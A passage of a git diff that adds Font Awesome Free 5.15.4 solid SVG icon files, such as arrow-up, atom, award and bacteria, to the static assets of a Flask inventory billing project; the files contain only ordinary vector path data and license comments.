b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-up.svg new file mode 100644 index 00000000..adbeb5c2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrow-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M34.9 289.5l-22.2-22.2c-9.4-9.4-9.4-24.6 0-33.9L207 39c9.4-9.4 24.6-9.4 33.9 0l194.3 194.3c9.4 9.4 9.4 24.6 0 33.9L413 289.4c-9.5 9.5-25 9.3-34.3-.4L264 168.6V456c0 13.3-10.7 24-24 24h-32c-13.3 0-24-10.7-24-24V168.6L69.2 289.1c-9.3 9.8-24.8 10-34.3.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrows-alt-h.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrows-alt-h.svg new file mode 100644 index 00000000..8e551cde --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrows-alt-h.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M377.941 169.941V216H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.568 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296h243.882v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.568 0-33.941l-86.059-86.059c-15.119-15.12-40.971-4.412-40.971 16.97z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrows-alt-v.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrows-alt-v.svg new file mode 100644 index 00000000..8521d4ac --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrows-alt-v.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M214.059 377.941H168V134.059h46.059c21.382 0 32.09-25.851 16.971-40.971L144.971 7.029c-9.373-9.373-24.568-9.373-33.941 0L24.971 93.088c-15.119 15.119-4.411 40.971 16.971 40.971H88v243.882H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.568 9.373 33.941 0l86.059-86.059c15.12-15.119 4.412-40.971-16.97-40.971z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrows-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrows-alt.svg new file mode 100644 index 00000000..13c6f85e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/arrows-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M352.201 425.775l-79.196 79.196c-9.373 9.373-24.568 9.373-33.941 0l-79.196-79.196c-15.119-15.119-4.411-40.971 16.971-40.97h51.162L228 284H127.196v51.162c0 21.382-25.851 32.09-40.971 16.971L7.029 272.937c-9.373-9.373-9.373-24.569 0-33.941L86.225 159.8c15.119-15.119 40.971-4.411 40.971 16.971V228H228V127.196h-51.23c-21.382 0-32.09-25.851-16.971-40.971l79.196-79.196c9.373-9.373 24.568-9.373 33.941 0l79.196 79.196c15.119 15.119 4.411 40.971-16.971 40.971h-51.162V228h100.804v-51.162c0-21.382 25.851-32.09 40.97-16.971l79.196 79.196c9.373 9.373 9.373 24.569 0 33.941L425.773 352.2c-15.119 15.119-40.971 4.411-40.97-16.971V284H284v100.804h51.23c21.382 0 32.09 25.851 16.971 40.971z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/assistive-listening-systems.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/assistive-listening-systems.svg new file mode 100644 index 00000000..a2d1f8f3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/assistive-listening-systems.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm-80 236c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zM32 448c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm480-187.993c0-1.518-.012-3.025-.045-4.531C510.076 140.525 436.157 38.47 327.994 1.511c-14.633-4.998-30.549 2.809-35.55 17.442-5 14.633 2.81 30.549 17.442 35.55 85.906 29.354 144.61 110.513 146.077 201.953l.003.188c.026 1.118.033 2.236.033 3.363 0 15.464 12.536 28 28 28s28.001-12.536 28.001-28zM152.971 439.029l-80-80L39.03 392.97l80 80 33.941-33.941z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/asterisk.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/asterisk.svg new file mode 100644 index 00000000..7a438a89 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/asterisk.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M478.21 334.093L336 256l142.21-78.093c11.795-6.477 15.961-21.384 9.232-33.037l-19.48-33.741c-6.728-11.653-21.72-15.499-33.227-8.523L296 186.718l3.475-162.204C299.763 11.061 288.937 0 275.48 0h-38.96c-13.456 0-24.283 11.061-23.994 24.514L216 186.718 77.265 102.607c-11.506-6.976-26.499-3.13-33.227 8.523l-19.48 33.741c-6.728 11.653-2.562 26.56 9.233 33.037L176 256 33.79 334.093c-11.795 6.477-15.961 21.384-9.232 33.037l19.48 33.741c6.728 11.653 21.721 15.499 33.227 8.523L216 325.282l-3.475 162.204C212.237 500.939 223.064 512 236.52 512h38.961c13.456 0 24.283-11.061 23.995-24.514L296 325.282l138.735 84.111c11.506 6.976 26.499 3.13 33.227-8.523l19.48-33.741c6.728-11.653 2.563-26.559-9.232-33.036z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/at.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/at.svg new file mode 100644 index 00000000..7206b076 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/at.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C118.941 8 8 118.919 8 256c0 137.059 110.919 248 248 248 48.154 0 95.342-14.14 135.408-40.223 12.005-7.815 14.625-24.288 5.552-35.372l-10.177-12.433c-7.671-9.371-21.179-11.667-31.373-5.129C325.92 429.757 291.314 440 256 440c-101.458 0-184-82.542-184-184S154.542 72 256 72c100.139 0 184 57.619 184 160 0 38.786-21.093 79.742-58.17 83.693-17.349-.454-16.91-12.857-13.476-30.024l23.433-121.11C394.653 149.75 383.308 136 368.225 136h-44.981a13.518 13.518 0 0 0-13.432 11.993l-.01.092c-14.697-17.901-40.448-21.775-59.971-21.775-74.58 0-137.831 62.234-137.831 151.46 0 65.303 36.785 105.87 96 105.87 26.984 0 57.369-15.637 74.991-38.333 9.522 34.104 40.613 34.103 70.71 34.103C462.609 379.41 504 307.798 504 232 504 95.653 394.023 8 256 8zm-21.68 304.43c-22.249 0-36.07-15.623-36.07-40.771 0-44.993 30.779-72.729 58.63-72.729 22.292 0 35.601 15.241 35.601 40.77 0 45.061-33.875 72.73-58.161 72.73z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/atlas.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/atlas.svg new file mode 100644 index 00000000..b70f5bf8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/atlas.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M318.38 208h-39.09c-1.49 27.03-6.54 51.35-14.21 70.41 27.71-13.24 48.02-39.19 53.3-70.41zm0-32c-5.29-31.22-25.59-57.17-53.3-70.41 7.68 19.06 12.72 43.38 14.21 70.41h39.09zM224 97.31c-7.69 7.45-20.77 34.42-23.43 78.69h46.87c-2.67-44.26-15.75-71.24-23.44-78.69zm-41.08 8.28c-27.71 13.24-48.02 39.19-53.3 70.41h39.09c1.49-27.03 6.53-51.35 14.21-70.41zm0 172.82c-7.68-19.06-12.72-43.38-14.21-70.41h-39.09c5.28 31.22 25.59 57.17 53.3 70.41zM247.43 208h-46.87c2.66 44.26 15.74 71.24 23.43 78.69 7.7-7.45 20.78-34.43 23.44-78.69zM448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM224 64c70.69 0 128 57.31 128 128s-57.31 128-128 128S96 262.69 96 192 153.31 64 224 64zm160 384H96c-19.2 0-32-12.8-32-32s16-32 32-32h288v64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/atom.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/atom.svg new file mode 100644 index 00000000..4f1c38e7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/atom.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M223.99908,224a32,32,0,1,0,32.00782,32A32.06431,32.06431,0,0,0,223.99908,224Zm214.172-96c-10.877-19.5-40.50979-50.75-116.27544-41.875C300.39168,34.875,267.63386,0,223.99908,0s-76.39066,34.875-97.89653,86.125C50.3369,77.375,20.706,108.5,9.82907,128-6.54984,157.375-5.17484,201.125,34.958,256-5.17484,310.875-6.54984,354.625,9.82907,384c29.13087,52.375,101.64652,43.625,116.27348,41.875C147.60842,477.125,180.36429,512,223.99908,512s76.3926-34.875,97.89652-86.125c14.62891,1.75,87.14456,10.5,116.27544-41.875C454.55,354.625,453.175,310.875,413.04017,256,453.175,201.125,454.55,157.375,438.171,128ZM63.33886,352c-4-7.25-.125-24.75,15.00391-48.25,6.87695,6.5,14.12891,12.875,21.88087,19.125,1.625,13.75,4,27.125,6.75,40.125C82.34472,363.875,67.09081,358.625,63.33886,352Zm36.88478-162.875c-7.752,6.25-15.00392,12.625-21.88087,19.125-15.12891-23.5-19.00392-41-15.00391-48.25,3.377-6.125,16.37891-11.5,37.88478-11.5,1.75,0,3.875.375,5.75.375C104.09864,162.25,101.84864,175.625,100.22364,189.125ZM223.99908,64c9.50195,0,22.25586,13.5,33.88282,37.25-11.252,3.75-22.50391,8-33.88282,12.875-11.377-4.875-22.62892-9.125-33.88283-12.875C201.74516,77.5,214.49712,64,223.99908,64Zm0,384c-9.502,0-22.25392-13.5-33.88283-37.25,11.25391-3.75,22.50587-8,33.88283-12.875C235.378,402.75,246.62994,407,257.8819,410.75,246.25494,434.5,233.501,448,223.99908,448Zm0-112a80,80,0,1,1,80-80A80.00023,80.00023,0,0,1,223.99908,336ZM384.6593,352c-3.625,6.625-19.00392,11.875-43.63479,11,2.752-13,5.127-26.375,6.752-40.125,7.75195-6.25,15.00391-12.625,21.87891-19.125C384.7843,327.25,388.6593,344.75,384.6593,352ZM369.65538,208.25c-6.875-6.5-14.127-12.875-21.87891-19.125-1.625-13.5-3.875-26.875-6.752-40.25,1.875,0,4.002-.375,5.752-.375,21.50391,0,34.50782,5.375,37.88283,11.5C388.6593,167.25,384.7843,184.75,369.65538,208.25Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/audio-description.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/audio-description.svg new file mode 100644 index 00000000..a9211283 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/audio-description.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M162.925 238.709l8.822 30.655h-25.606l9.041-30.652c1.277-4.421 2.651-9.994 3.872-15.245 1.22 5.251 2.594 10.823 3.871 15.242zm166.474-32.099h-14.523v98.781h14.523c29.776 0 46.175-17.678 46.175-49.776 0-32.239-17.49-49.005-46.175-49.005zM512 112v288c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48zM245.459 336.139l-57.097-168A12.001 12.001 0 0 0 177 160h-35.894a12.001 12.001 0 0 0-11.362 8.139l-57.097 168C70.003 343.922 75.789 352 84.009 352h29.133a12 12 0 0 0 11.535-8.693l8.574-29.906h51.367l8.793 29.977A12 12 0 0 0 204.926 352h29.172c8.22 0 14.006-8.078 11.361-15.861zm184.701-80.525c0-58.977-37.919-95.614-98.96-95.614h-57.366c-6.627 0-12 5.373-12 12v168c0 6.627 5.373 12 12 12H331.2c61.041 0 98.96-36.933 98.96-96.386z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/award.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/award.svg new file mode 100644 index 00000000..9ee61946 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/award.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M97.12 362.63c-8.69-8.69-4.16-6.24-25.12-11.85-9.51-2.55-17.87-7.45-25.43-13.32L1.2 448.7c-4.39 10.77 3.81 22.47 15.43 22.03l52.69-2.01L105.56 507c8 8.44 22.04 5.81 26.43-4.96l52.05-127.62c-10.84 6.04-22.87 9.58-35.31 9.58-19.5 0-37.82-7.59-51.61-21.37zM382.8 448.7l-45.37-111.24c-7.56 5.88-15.92 10.77-25.43 13.32-21.07 5.64-16.45 3.18-25.12 11.85-13.79 13.78-32.12 21.37-51.62 21.37-12.44 0-24.47-3.55-35.31-9.58L252 502.04c4.39 10.77 18.44 13.4 26.43 4.96l36.25-38.28 52.69 2.01c11.62.44 19.82-11.27 15.43-22.03zM263 340c15.28-15.55 17.03-14.21 38.79-20.14 13.89-3.79 24.75-14.84 28.47-28.98 7.48-28.4 5.54-24.97 25.95-45.75 10.17-10.35 14.14-25.44 10.42-39.58-7.47-28.38-7.48-24.42 0-52.83 3.72-14.14-.25-29.23-10.42-39.58-20.41-20.78-18.47-17.36-25.95-45.75-3.72-14.14-14.58-25.19-28.47-28.98-27.88-7.61-24.52-5.62-44.95-26.41-10.17-10.35-25-14.4-38.89-10.61-27.87 7.6-23.98 7.61-51.9 0-13.89-3.79-28.72.25-38.89 10.61-20.41 20.78-17.05 18.8-44.94 26.41-13.89 3.79-24.75 14.84-28.47 28.98-7.47 28.39-5.54 24.97-25.95 45.75-10.17 10.35-14.15 25.44-10.42 39.58 7.47 28.36 7.48 24.4 0 52.82-3.72 14.14.25 29.23 10.42 39.59 20.41 20.78 18.47 17.35 25.95 45.75 3.72 14.14 14.58 25.19 28.47 28.98C104.6 325.96 106.27 325 121 340c13.23 13.47 33.84 15.88 49.74 5.82a39.676 39.676 0 0 1 42.53 0c15.89 10.06 36.5 7.65 49.73-5.82zM97.66 175.96c0-53.03 42.24-96.02 94.34-96.02s94.34 42.99 94.34 96.02-42.24 96.02-94.34 96.02-94.34-42.99-94.34-96.02z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/baby-carriage.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/baby-carriage.svg new file mode 100644 index 00000000..f8076e88 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/baby-carriage.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M144.8 17c-11.3-17.8-37.2-22.8-54-9.4C35.3 51.9 0 118 0 192h256L144.8 17zM496 96h-48c-35.3 0-64 28.7-64 64v64H0c0 50.6 23 96.4 60.3 130.7C25.7 363.6 0 394.7 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-8.9-1.8-17.2-4.4-25.2 21.6 5.9 44.6 9.2 68.4 9.2s46.9-3.3 68.4-9.2c-2.7 8-4.4 16.3-4.4 25.2 0 44.2 35.8 80 80 80s80-35.8 80-80c0-37.3-25.7-68.4-60.3-77.3C425 320.4 448 274.6 448 224v-64h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM80 464c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm320-32c0 17.6-14.4 32-32 32s-32-14.4-32-32 14.4-32 32-32 32 14.4 32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/baby.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/baby.svg new file mode 100644 index 00000000..22b54076 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/baby.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 160c44.2 0 80-35.8 80-80S236.2 0 192 0s-80 35.8-80 80 35.8 80 80 80zm-53.4 248.8l25.6-32-61.5-51.2L56.8 383c-11.4 14.2-11.7 34.4-.8 49l48 64c7.9 10.5 19.9 16 32 16 8.3 0 16.8-2.6 24-8 17.7-13.2 21.2-38.3 8-56l-29.4-39.2zm142.7-83.2l-61.5 51.2 25.6 32L216 448c-13.2 17.7-9.7 42.8 8 56 7.2 5.4 15.6 8 24 8 12.2 0 24.2-5.5 32-16l48-64c10.9-14.6 10.6-34.8-.8-49l-45.9-57.4zM376.7 145c-12.7-18.1-37.6-22.4-55.7-9.8l-40.6 28.5c-52.7 37-124.2 37-176.8 0L63 135.3C44.9 122.6 20 127 7.3 145-5.4 163.1-1 188 17 200.7l40.6 28.5c17 11.9 35.4 20.9 54.4 27.9V288h160v-30.8c19-7 37.4-16 54.4-27.9l40.6-28.5c18.1-12.8 22.4-37.7 9.7-55.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/backspace.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/backspace.svg new file mode 100644 index 00000000..51d11007 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/backspace.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M576 64H205.26A63.97 63.97 0 0 0 160 82.75L9.37 233.37c-12.5 12.5-12.5 32.76 0 45.25L160 429.25c12 12 28.28 18.75 45.25 18.75H576c35.35 0 64-28.65 64-64V128c0-35.35-28.65-64-64-64zm-84.69 254.06c6.25 6.25 6.25 16.38 0 22.63l-22.62 22.62c-6.25 6.25-16.38 6.25-22.63 0L384 301.25l-62.06 62.06c-6.25 6.25-16.38 6.25-22.63 0l-22.62-22.62c-6.25-6.25-6.25-16.38 0-22.63L338.75 256l-62.06-62.06c-6.25-6.25-6.25-16.38 0-22.63l22.62-22.62c6.25-6.25 16.38-6.25 22.63 0L384 210.75l62.06-62.06c6.25-6.25 16.38-6.25 22.63 0l22.62 22.62c6.25 6.25 6.25 16.38 0 22.63L429.25 256l62.06 62.06z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/backward.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/backward.svg new file mode 100644 index 00000000..0bf17208 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/backward.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M11.5 280.6l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2zm256 0l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bacon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bacon.svg new file mode 100644 index 00000000..cd9011d7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bacon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M218.92 336.39c34.89-34.89 44.2-59.7 54.05-86 10.61-28.29 21.59-57.54 61.37-97.34s69.05-50.77 97.35-61.38c23.88-9 46.64-17.68 76.79-45.37L470.81 8.91a31 31 0 0 0-40.18-2.83c-13.64 10.1-25.15 14.39-41 20.3C247 79.52 209.26 191.29 200.65 214.1c-29.75 78.83-89.55 94.68-98.72 98.09-24.86 9.26-54.73 20.38-91.07 50.36C-3 374-3.63 395 9.07 407.61l35.76 35.51C80 410.52 107 400.15 133 390.39c26.27-9.84 51.06-19.12 85.92-54zm348-232l-35.75-35.51c-35.19 32.63-62.18 43-88.25 52.79-26.26 9.85-51.06 19.16-85.95 54s-44.19 59.69-54 86C292.33 290 281.34 319.22 241.55 359s-69 50.73-97.3 61.32c-23.86 9-46.61 17.66-76.72 45.33l37.68 37.43a31 31 0 0 0 40.18 2.82c13.6-10.06 25.09-14.34 40.94-20.24 142.2-53 180-164.1 188.94-187.69C405 219.18 464.8 203.3 474 199.86c24.87-9.27 54.74-20.4 91.11-50.41 13.89-11.4 14.52-32.45 1.82-45.05z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bacteria.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bacteria.svg new file mode 100644 index 00000000..0d8f07e1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bacteria.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M272.35,226.4A17.71,17.71,0,0,0,281.46,203l-4-9.08a121.29,121.29,0,0,1,12.36-3.08A83.34,83.34,0,0,0,323.57,177l10,9a17.76,17.76,0,1,0,23.92-26.27l-9.72-8.76a83.12,83.12,0,0,0,11.65-48.18l11.85-3.51a17.73,17.73,0,1,0-10.15-34l-11.34,3.36a84,84,0,0,0-36.38-35.57l2.84-10.85a17.8,17.8,0,0,0-34.47-8.93l-2.82,10.78a83.25,83.25,0,0,0-16.74,1.1C250.83,27,240,30.22,229.1,33.39l-3.38-9.46a17.8,17.8,0,0,0-33.56,11.89l3.49,9.8a286.74,286.74,0,0,0-43.94,23.57l-6.32-8.43a17.9,17.9,0,0,0-24.94-3.6A17.69,17.69,0,0,0,116.84,82l6.45,8.61a286.59,286.59,0,0,0-34.95,35.33l-8.82-6.42a17.84,17.84,0,0,0-24.89,3.86,17.66,17.66,0,0,0,3.88,24.77l8.88,6.47a286.6,286.6,0,0,0-23,43.91l-10.48-3.59a17.73,17.73,0,1,0-11.59,33.52L32.67,232c-2.79,10-5.79,19.84-7.52,30.22a83.16,83.16,0,0,0-.82,19l-11.58,3.43a17.73,17.73,0,1,0,10.13,34l11.27-3.33a83.51,83.51,0,0,0,36.39,35.43l-2.88,11.06a17.81,17.81,0,0,0,34.48,8.92l2.87-11c1,0,2.07.26,3.1.26a83.39,83.39,0,0,0,45.65-13.88l8.59,8.8a17.77,17.77,0,0,0,25.56-24.7l-9.14-9.37a83.41,83.41,0,0,0,12.08-31.05,119.08,119.08,0,0,1,3.87-15.53l9,4.22a17.74,17.74,0,1,0,15.15-32.09l-8.8-4.11c.67-1,1.2-2.08,1.9-3.05a119.89,119.89,0,0,1,7.87-9.41,121.73,121.73,0,0,1,11.65-11.4,119.49,119.49,0,0,1,9.94-7.82c1.12-.77,2.32-1.42,3.47-2.15l3.92,8.85a17.86,17.86,0,0,0,16.32,10.58A18.14,18.14,0,0,0,272.35,226.4ZM128,256a32,32,0,1,1,32-32A32,32,0,0,1,128,256Zm80-96a16,16,0,1,1,16-16A16,16,0,0,1,208,160Zm431.26,45.3a17.79,17.79,0,0,0-17.06-12.69,17.55,17.55,0,0,0-5.08.74l-11.27,3.33a83.61,83.61,0,0,0-36.39-35.43l2.88-11.06a17.81,17.81,0,0,0-34.48-8.91l-2.87,11c-1,0-2.07-.26-3.1-.26a83.32,83.32,0,0,0-45.65,13.89l-8.59-8.81a17.77,17.77,0,0,0-25.56,24.7l9.14,9.37a83.28,83.28,0,0,0-12.08,31.06,119.34,119.34,0,0,1-3.87,15.52l-9-4.22a17.74,17.74,0,1,0-15.15,32.09l8.8,4.11c-.67,1-1.2,2.08-1.89,3.05a117.71,117.71,0,0,1-7.94,9.47,119,119,0,0,1-11.57,11.33,1